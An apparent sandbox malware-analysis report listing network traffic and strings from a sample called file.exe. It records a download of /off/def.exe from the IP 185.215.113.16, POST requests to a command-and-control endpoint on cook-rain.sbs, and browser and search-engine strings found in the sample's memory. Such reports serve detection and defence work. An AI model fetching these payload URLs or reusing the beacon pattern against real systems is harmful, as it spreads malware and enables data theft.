Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.2260295357.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2362535640.0000000000A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe9
Source: file.exe, 00000000.00000002.2355907033.00000000001EA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000003.2260295357.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_127.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2136738995.0000000005310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_127.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_127.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_127.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_127.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2122208646.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148853382.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/#
Source: file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152153088.0000000000B47000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148916741.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152027919.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/L
Source: file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2166382058.0000000000B44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/The
Source: file.exe, 00000000.00000003.2135690468.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2166382058.0000000000B44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107987634.0000000000B3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api_seed
Source: file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apig7
Source: file.exe, 00000000.00000003.2148916741.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apitH
Source: file.exe, 00000000.00000003.2260516633.0000000000ACA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiw
Source: file.exe, 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152153088.0000000000B47000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2135765087.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148916741.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152027919.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2135690468.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2166382058.0000000000B44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/rbTpMcb
Source: file.exe, 00000000.00000003.2162414218.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2162014321.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: file.exe, 00000000.00000003.2173017271.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apiyA
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_127.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_119.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_119.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2148803658.0000000000B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2109011632.000000000530F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109305455.000000000530C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.000000000530C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_107.5.dr, chromecache_119.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2137907566.00000000053F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
